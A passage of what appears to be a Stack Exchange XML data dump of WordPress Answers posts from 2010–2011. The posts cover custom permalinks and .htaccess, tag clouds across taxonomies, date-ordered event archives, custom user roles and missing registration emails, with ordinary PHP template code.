URL?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;br&gt;&#xA;I'm adding some more info for clarification.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm developing the site myself  &lt;/li&gt;&#xA;&lt;li&gt;The template is 100% custom template  &lt;/li&gt;&#xA;&lt;li&gt;Based on info from $_GET, I load data from my custom DB table and display this on page  &lt;/li&gt;&#xA;&lt;li&gt;My site has an avarage of between 3-400 unique visitors per day. At peak I have 2000 unique visitors per day.&lt;/li&gt;&#xA;&lt;li&gt;I'm developing an online fashion magazine&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My URL is currently being created like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Url = get_permalink().'?bid='.$brand-&amp;gt;id.'&amp;amp;name='.$brand-&amp;gt;name;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I've used similar method here:&lt;br&gt;&#xA;&lt;a href=&quot;http://storelocator.no/search/?brandID=4673&amp;amp;storeID=0&amp;amp;brand=Moods+of+Norway&quot; rel=&quot;nofollow&quot;&gt;http://storelocator.no/search/?brandID=4673&amp;amp;storeID=0&amp;amp;brand=Moods+of+Norway&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using Custom Post Type was an option I considered, but I needed my own table structurem because designers / brands are linked up against galleries (and more links to other tables to come). So saving brands data in WP POST  table was not going to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to know this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;What do I need to do with my Permalink structure?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;What do I need to do with my .htaccess file?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-21T18:27:37.277" LastActivityDate="2011-01-21T18:27:37.277" Title="Need help with friendly URL's in Wordpress" Tags="&lt;3.0&gt;&lt;php&gt;&lt;permalinks&gt;&lt;rewrite-rules&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="3" />
  <row Id="3538" PostTypeId="2" ParentId="3483" CreationDate="2010-11-02T03:14:21.423" Score="1" ViewCount="" Body="&lt;p&gt;You should be able to get the feed by going to &lt;a href=&quot;http://www.yoursite.com/?feed=rss2&amp;amp;post_type=your_post_type&quot; rel=&quot;nofollow&quot;&gt;http://www.yoursite.com/?feed=rss2&amp;amp;post_type=your_post_type&lt;/a&gt; as long as the post type is set to be publicly_queryable.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-02T03:14:21.423" />
  <row Id="3539" PostTypeId="1" CreationDate="2010-11-02T07:09:33.723" Score="1" ViewCount="322" Body="&lt;p&gt;I tried to install Gallery 3 as a subdirectory in my WordPress folder and point a subdomain to it, but it doesn't work.  The gallery site comes up initially, but there is no theming to it and if I try to click on login I get a 404.  The URL that comes up when I click log in ends with &quot;/index.php/login/ajax&quot; which doesn't seem right.  Anyone else try to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" LastActivityDate="2010-11-02T15:18:22.450" Title="Install Gallery 3 in Subdirectory of Wordpress" Tags="&lt;gallery&gt;" AnswerCount="1" />
  <row Id="3540" PostTypeId="1" AcceptedAnswerId="3541" CreationDate="2010-11-02T07:42:39.060" Score="1" ViewCount="412" Body="&lt;p&gt;Using &lt;code&gt;wp_tag_cloud()&lt;/code&gt;, how can I display a single tag cloud that incorporates both regular post tags and a custom taxonomy?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-05-08T03:45:34.897" Title="How do I display a tag cloud with both post tags AND a custom taxonomy?" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;functions&gt;&lt;tags&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3541" PostTypeId="2" ParentId="3540" CreationDate="2010-11-02T08:01:44.923" Score="4" ViewCount="" Body="&lt;p&gt;The following is a slightly modified version of the &lt;code&gt;wp_tag_cloud()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_wp_tag_cloud( $args = '' ) {&#xA;    $defaults = array(&#xA;        'smallest' =&amp;gt; 8, 'largest' =&amp;gt; 22, 'unit' =&amp;gt; 'pt', 'number' =&amp;gt; 45,&#xA;        'format' =&amp;gt; 'flat', 'separator' =&amp;gt; &quot;\n&quot;, 'orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC',&#xA;        'exclude' =&amp;gt; '', 'include' =&amp;gt; '', 'link' =&amp;gt; 'view', 'taxonomy' =&amp;gt; 'post_tag', 'echo' =&amp;gt; true&#xA;    );&#xA;    $args = wp_parse_args( $args, $defaults );&#xA;&#xA;    $tags = get_terms( $args['taxonomy'], array_merge( $args, array( 'orderby' =&amp;gt; 'count', 'order' =&amp;gt; 'DESC' ) ) ); // Always query top tags&#xA;&#xA;    if ( empty( $tags ) )&#xA;        return;&#xA;&#xA;    foreach ( $tags as $key =&amp;gt; $tag ) {&#xA;        if ( 'edit' == $args['link'] )&#xA;            $link = get_edit_tag_link( $tag-&amp;gt;term_id, $tag-&amp;gt;taxonomy );&#xA;        else&#xA;            $link = get_term_link( intval($tag-&amp;gt;term_id), $tag-&amp;gt;taxonomy );&#xA;        if ( is_wp_error( $link ) )&#xA;            return false;&#xA;&#xA;        $tags[ $key ]-&amp;gt;link = $link;&#xA;        $tags[ $key ]-&amp;gt;id = $tag-&amp;gt;term_id;&#xA;    }&#xA;&#xA;    $return = wp_generate_tag_cloud( $tags, $args ); // Here's where those top tags get sorted according to $args&#xA;&#xA;    $return = apply_filters( 'wp_tag_cloud', $return, $args );&#xA;&#xA;    if ( 'array' == $args['format'] || empty($args['echo']) )&#xA;        return $return;&#xA;&#xA;    echo $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;taxonomy&lt;/code&gt; argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;   'taxonomy' =&amp;gt; array( 'post_tag', 'custom_taxonomy' )&#xA;);&#xA;custom_wp_tag_cloud( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-11-03T23:17:34.893" LastActivityDate="2010-11-03T23:17:34.893" CommentCount="6" />
  <row Id="3542" PostTypeId="1" AcceptedAnswerId="3556" CreationDate="2010-11-02T08:12:11.077" Score="1" ViewCount="1387" Body="&lt;p&gt;I have an interesting problem I am trying to solve. Here is my situations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have create a custom post type for &quot;events&quot;.&lt;/li&gt;&#xA;&lt;li&gt;For each event post I require custom fields to be entered for the event start date/time.&lt;/li&gt;&#xA;&lt;li&gt;In addition, each event can be assigned to a custom taxonomy I have created specifically to assign each event to one or more &quot;event categories&quot; (my custom taxonomy).&lt;/li&gt;&#xA;&lt;li&gt;I have create a public template which calls all posts belong to this custom post type and am correctly filtering the query to ONLY display events were the event start/date and time is greater than todays date.&lt;/li&gt;&#xA;&lt;li&gt;All of the above is working correctly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only thing I am currently having problems with is displaying all the events for a specific taxonomy term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words... along with each event listing I am including all terms associated with the event from my custom taxonomy (event categories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there issue here is that each taxonomy term (correctly) shows up as a link but when you select the term the corresponding terms archive page is not ordering the corresponding results by the event date/time custom field and it is not excluding events which are older than todays date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based upon this page:&#xA;&lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have figure out that one is able to create a custom archive page for all terms belonging to a custom taxonomy by naming the archive file as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;taxonomy-event_categories.php (where &quot;event_categories&quot;) is the name for my custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sooooooooo.... As mentioned the only thing I believe I need a solution for is the correct code to insert to achieve the two issues mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using which works in display my event list correctly organized by the event start date/time while removing all events older than today.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    //Get the metadata for each child page&#xA;    global $custom_metabox_event_dates;&#xA;    $meta1  = $custom_metabox_event_dates-&amp;gt;the_meta();&#xA;       $today = time();&#xA;       $arrMonthNums = array(&quot;01&quot; =&amp;gt; &quot;01&quot;, &quot;02&quot; =&amp;gt; &quot;02&quot;, &quot;03&quot; =&amp;gt; &quot;03&quot;, &quot;04&quot; =&amp;gt; &quot;04&quot;, &quot;05&quot; =&amp;gt; &quot;05&quot;, &quot;06&quot; =&amp;gt; &quot;06&quot;, &quot;07&quot; =&amp;gt; &quot;07&quot;, &quot;08&quot; =&amp;gt; &quot;08&quot;, &quot;09&quot; =&amp;gt; &quot;09&quot;, &quot;10&quot; =&amp;gt; &quot;10&quot;, &quot;11&quot; =&amp;gt; &quot;11&quot;, &quot;12&quot; =&amp;gt; &quot;12&quot;);&#xA;       $arrMonthNames = array(&quot;01&quot; =&amp;gt; &quot;JANUARY&quot;, &quot;02&quot; =&amp;gt; &quot;FEBRUARY&quot;, &quot;03&quot; =&amp;gt; &quot;MARCH&quot;, &quot;04&quot; =&amp;gt; &quot;APRIL&quot;, &quot;05&quot; =&amp;gt; &quot;MAY&quot;, &quot;06&quot; =&amp;gt; &quot;JUNE&quot;, &quot;07&quot; =&amp;gt; &quot;JULY&quot;, &quot;08&quot; =&amp;gt; &quot;AUGUST&quot;, &quot;09&quot; =&amp;gt; &quot;SEPTEMBER&quot;, &quot;10&quot; =&amp;gt; &quot;OCTOBER&quot;, &quot;11&quot; =&amp;gt; &quot;NOVEMBER&quot;, &quot;12&quot; =&amp;gt; &quot;DECEMBER&quot;);&#xA;    query_posts('post_type=events&amp;amp;showposts=-1&amp;amp;meta_key=' . $custom_metabox_event_dates-&amp;gt;get_the_name('combined_datetime') . '&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value=' . $today . '&amp;amp;orderby=meta_value&amp;amp;order=ASC'); &#xA;?&amp;gt;&#xA;&#xA;  &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;?php  //Get all Events and run a check against current date&#xA;    global $custom_metabox_event_dates; &#xA;    global $custom_metabox_event_details; &#xA;    $meta1          = $custom_metabox_event_dates-&amp;gt;the_meta(); &#xA;    $meta2          = $custom_metabox_event_details-&amp;gt;the_meta();&#xA;    $meta_start_date    = $meta1['event_start_date'];&#xA;    $meta_end_date  = $meta1['event_end_date'];&#xA;    $meta_start_time    = $meta1['event_start_time'];&#xA;    $meta_end_time  = $meta1['event_end_time'];&#xA;    $meta_location_city = $meta2['event_location_city'];&#xA;    $meta_event_type    = $meta2['event_type'];&#xA;    $show_date      = strtotime($meta_start_date);&#xA;        if($show_date &amp;gt;= $today) { ?&amp;gt;&#xA;           &amp;lt;?php &#xA;            $show_month = date('m', $show_date);&#xA;            if ($arrMonthNums[$show_month] == $show_month) {&#xA;            echo &quot;&amp;lt;div id='category-events-list-month-title'&amp;gt;EVENTS IN &quot;.$arrMonthNames[$show_month].&quot;&amp;lt;/div&amp;gt;&quot;; &#xA;            $arrMonthNums[$show_month] = &quot;printed&quot;;&#xA;            }&#xA;        if($show_date == $today) { &#xA;            ?&amp;gt;   &#xA;           &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;div id=&quot;category-events-list-container-group&quot;&amp;gt;&#xA;                     &amp;lt;div id=&quot;category-events-list-container-left&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;event-entry-list-date&quot;&amp;gt;&amp;lt;?php echo $meta_start_date ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;event-entry-list-time&quot;&amp;gt;&amp;lt;?php echo $meta_start_time ?&amp;gt; - &amp;lt;?php echo $meta_end_time ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div id=&quot;category-events-list-container-right&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;category-articles-list-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;category-articles-list-excerpt&quot;&amp;gt;&#xA;        &amp;lt;span&amp;gt;EVENT TYPE: &amp;lt;?php echo get_the_term_list($post-&amp;gt;ID, 'event_types', '', ', ',''); ?&amp;gt; &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;span&amp;gt;LOCATION: &amp;lt;?php echo $meta_location_city ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;?php echo substr(get_the_excerpt(),0,250); echo '...  ' ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please keep in mind that I am not asking how to change the query above so it just displays posts for one term... Rather, somehow I need to get the archive page to recognize which term was clicked and essentially pass that through the query along with the ordering/filtering I am doing above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming this is probably a simple answer which involves the &quot;loop&quot; which I have yet to master.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the archive page which needs to be modified so when a term is clicked from the results list above so it ONLY shows the same results but only for the term selected AND sorted by date/time AND eliminating any events earlier than todays date.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;      &amp;lt;?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?&amp;gt;&#xA;      &amp;lt;?php /* If this is a category archive */ if (is_category()) { ?&amp;gt;&#xA;        &amp;lt;div id=&quot;category-title-articles&quot;&amp;gt;Archive for the &amp;amp;#8216;&amp;lt;?php single_cat_title(); ?&amp;gt;&amp;amp;#8217; Category&amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php /* If this is a tag archive */ } elseif( is_tag() ) { ?&amp;gt;&#xA;        &amp;lt;div id=&quot;category-title-articles&quot;&amp;gt;Posts Tagged &amp;amp;#8216;&amp;lt;?php single_tag_title(); ?&amp;gt;&amp;amp;#8217;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;category-articles-list-container-group&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else :&#xA;    if ( is_category() ) { // If this is a category archive&#xA;        printf(&quot;&amp;lt;h2 class='center'&amp;gt;Sorry, but there aren't any posts in the %s category yet.&amp;lt;/h2&amp;gt;&quot;, single_cat_title('',false));&#xA;    } else if ( is_date() ) { // If this is a date archive&#xA;        echo(&quot;&amp;lt;h2&amp;gt;Sorry, but there aren't any posts with this date.&amp;lt;/h2&amp;gt;&quot;);&#xA;    } else if ( is_author() ) { // If this is a category archive&#xA;        $userdata = get_userdatabylogin(get_query_var('author_name'));&#xA;        printf(&quot;&amp;lt;h2 class='center'&amp;gt;Sorry, but there aren't any posts by %s yet.&amp;lt;/h2&amp;gt;&quot;, $userdata-&amp;gt;display_name);&#xA;    } else {&#xA;        echo(&quot;&amp;lt;h2 class='center'&amp;gt;No posts found.&amp;lt;/h2&amp;gt;&quot;);&#xA;    }&#xA;    get_search_form();&#xA;endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-11-04T14:22:59.393" LastActivityDate="2010-11-05T22:52:21.240" Title="Custom Taxonomy Template Post List with Sort Order" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;taxonomy&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" />
  <row Id="3543" PostTypeId="1" AcceptedAnswerId="3544" CreationDate="2010-11-02T08:20:49.683" Score="3" ViewCount="127" Body="&lt;p&gt;I would like make a custom role that can only access a custom content type that I'm going to be creating in the admin.   Is that possible and does any know of any examples or tutorias that I should check out to get started?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2010-11-02T08:49:57.940" Title="Can I make user role that can only access a certian content type?" Tags="&lt;custom-post-types&gt;&lt;capabilities&gt;&lt;roles&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="3544" PostTypeId="2" ParentId="3543" CreationDate="2010-11-02T08:49:57.940" Score="5" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_post_type&lt;/code&gt;&lt;/a&gt; has a &lt;code&gt;capabilities&lt;/code&gt; (or simple version: &lt;code&gt;capability_type&lt;/code&gt;) that you can use to specify a separate capability to create and edit posts of this type. If you set this, you can create &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;a new role&lt;/a&gt; that has the capability to edit these custom posts, but not regular posts.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T08:49:57.940" />
  <row Id="3545" PostTypeId="1" AcceptedAnswerId="3552" CreationDate="2010-11-02T09:41:17.210" Score="0" ViewCount="108" Body="&lt;p&gt;I moved the blog I was working on from my development server (on DreamHost) to the client's server (some local host which they are unwilling to switch from). Everything seems to be working perfectly, except that users are not receiving their new user confirmation emails, or their lost password emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Contact Form 7 installed, and that sends emails out perfectly, so I know the server is set up to send mail successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked that I have the correct email address in General Settings and in the User Settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested a simple mail() script on the server, and that sends just fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&#xA;$message = &quot;Line 1\nLine 2\nLine 3&quot;;&#xA;$message = wordwrap($message, 70);&#xA;mail('myemailhere@nospam.com', 'My Subject', $message);&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP version is &lt;code&gt;5.2.6-1+lenny9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I even begin with this? My google-fu is not strong today (I get a bunch of crappy posts that don't actually help)... I'd prefer not to have to resort to a plugin to fix this (although I'm happy to use a plugin to temporarily troubleshoot, if necessary).&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-02-04T11:29:47.367" Title="How do I troubleshoot registration/password email errors?" Tags="&lt;email&gt;&lt;registration&gt;&lt;notifications&gt;" AnswerCount="1" />
  <row Id="3546" PostTypeId="2" ParentId="3537" CreationDate="2010-11-02T09:54:08.103" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Steven&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I have a question: How are you getting URLs that look like the following?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/designers/?id=43&amp;amp;name=designer+name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those are not standard URLs for WordPress; is that the way you envision is &lt;em&gt;should&lt;/em&gt; work, or does your site actually work that way? And if so, how did those URLs come to be? Is it a highly customized site? Who customized it; you, or someone else?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;About &lt;code&gt;.htaccess&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;That said, &lt;strong&gt;we'll start with &lt;code&gt;.htaccess&lt;/code&gt; to get that out of the way&lt;/strong&gt;. Yours is identical to practically every other WordPress installation's &lt;code&gt;.htaccess&lt;/code&gt; file except for installs that 1.) serve off a URL subdirectory &lt;em&gt;(and then the difference is trivial)&lt;/em&gt;, 2.) have had people who don't understand how WordPress routes URLs mucking around them and/or 3.) except for those rare advanced installs that actually do need &lt;code&gt;.htaccess&lt;/code&gt; mucking &lt;em&gt;(and if you don't know why you would need to do it chance are almost 100% that you don't.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;About Leading Categories in WordPress URLs&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Next, your &lt;strong&gt;desired URL format with category name in the first path segment&lt;/strong&gt; is pattern that the WordPress community frowns upon for performance reasons, see this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Category in Permalinks Considered Harmful&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically the problem is if you have more than a handful for &lt;em&gt;&quot;Pages&quot;&lt;/em&gt; (i.e. &lt;code&gt;$post-&amp;gt;post_type=='page'&lt;/code&gt;) then WordPress will compare every URL for every page load against the URL for every Page and that can slow down your system.  That said, if you only have a handful of Pages and you don't have a high-traffic site, it's my opinion not to sweat it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101102-051138.png&quot; alt=&quot;Screenshot showing what Pages in WordPress are, i.e. $post_type=='page'&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on to your questions.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;1.) Is there any point in changing the above URL regarding SEO&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Yes. Cleaning up the URL improves your keyword densities. That said, &lt;em&gt;in my opinion&lt;/em&gt; there's a lot more to SEO than just what the search engine sees and making your URLs friendlier will give people more confidence in them and make it more likely they will link to your site in blogs and share your links on Twitter, in Facebook and elsewhere. That creates two benefits; more links the search engines see and more exposure from the sharing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I like to think of it as how one dresses; if you are really messy then people are going to have a lower subconscious opinion of you than if you are meticulous. I think the same is true with URLs; if you have clean, user friendly URLs your house appears to be in order; if you have sloppy URLs your site will just not &lt;em&gt;&quot;feel&quot;&lt;/em&gt; the same, again IMO. &lt;em&gt;(Nasty URLs are one reason I loathe using LinkedIn. I think they'd have been more successful had they paid attention to the URLs like Twitter did, for example.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2.) How can I get the &quot;pretty&quot; URL?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I think this article and/or this page on Codex should be able to help?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/994/setting-up-wordpress-with-custom-permalinks-and-no-htaccess-file/1003#1003&quot;&gt;&lt;strong&gt;Optimizing WordPress Permalinks&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://mikeschinkel.com/websnaps/skitched-20101102-051138.png&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Settings Permalinks SubPanel&lt;/strong&gt;&lt;/a&gt; (on Codex)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically you need to set your Permalinks template and then save them. You might have to use FTP to change the permission settings on &lt;code&gt;.htaccess&lt;/code&gt; before WordPress can save them for you. Hopefully this screenshot will be enough to illustrate what you need to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101102-055024.png&quot; alt=&quot;Screenshot showing how to Set Permalinks in WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this answers your question and if not where you are stuck.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Other Permalink Answers&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In addition there are &lt;strong&gt;lots of other answers to questions about Permalinks in WordPress&lt;/strong&gt; here at WordPress Answers; some of these might be of help to you too, in no particular order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/994/setting-up-wordpress-with-custom-permalinks-and-no-htaccess-file/1003#1003&quot;&gt;&lt;strong&gt;Setting up WordPress with Custom Permalinks and no .htaccess File?&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1393/wordpress-overrides-the-get-variables-page-id-set-in-htaccess/1408#1408&quot;&gt;&lt;strong&gt;WordPress overrides the GET variables, (page_id) set in HTACCESS?&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1611/minimal-custom-permalink-structure/1612#1612&quot;&gt;&lt;strong&gt;Minimal custom permalink structure?&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3206/custom-post-type-rewrite-rule-for-author-paging/3218#3218&quot;&gt;&lt;strong&gt;Custom Post Type Rewrite Rule for Author &amp;amp; Paging?&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1011/creating-301-redirects-for-post-page-category-and-image-urls/1023#1023&quot;&gt;&lt;strong&gt;Creating 301 Redirects for Post, Page, Category and Image URLs?&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1076/force-the-website-url-to-include-www-and-to-be-upper-case/1106#1106&quot;&gt;&lt;strong&gt;Force the Website URL to Include “www” and to be Upper Case?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-02T09:54:08.103" CommentCount="6" />
  <row Id="3547" PostTypeId="2" ParentId="3530" CreationDate="2010-11-02T10:20:45.397" Score="2" ViewCount="" Body="&lt;p&gt;A &lt;em&gt;taxonomy&lt;/em&gt; is a group of &lt;em&gt;terms&lt;/em&gt;. I think you registered a taxonomy &lt;em&gt;Catalogs&lt;/em&gt;, and now you want to list all terms in this taxonomy. You do that with the function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_terms()&lt;/code&gt;&lt;/a&gt;, not &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_taxonomies&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_taxonomies()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your &lt;code&gt;$wp_tax&lt;/code&gt; array should be filled like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_tax = array(-1 =&amp;gt; 'Choose a category');&#xA;$catalog_terms = get_terms('Catalogs');&#xA;if ($catalog_terms) {&#xA;    foreach ($catalog_terms as $catalog_term) {&#xA;        $wp_tax[$catalog_term-&amp;gt;term_id] = $catalog_term-&amp;gt;name;&#xA;    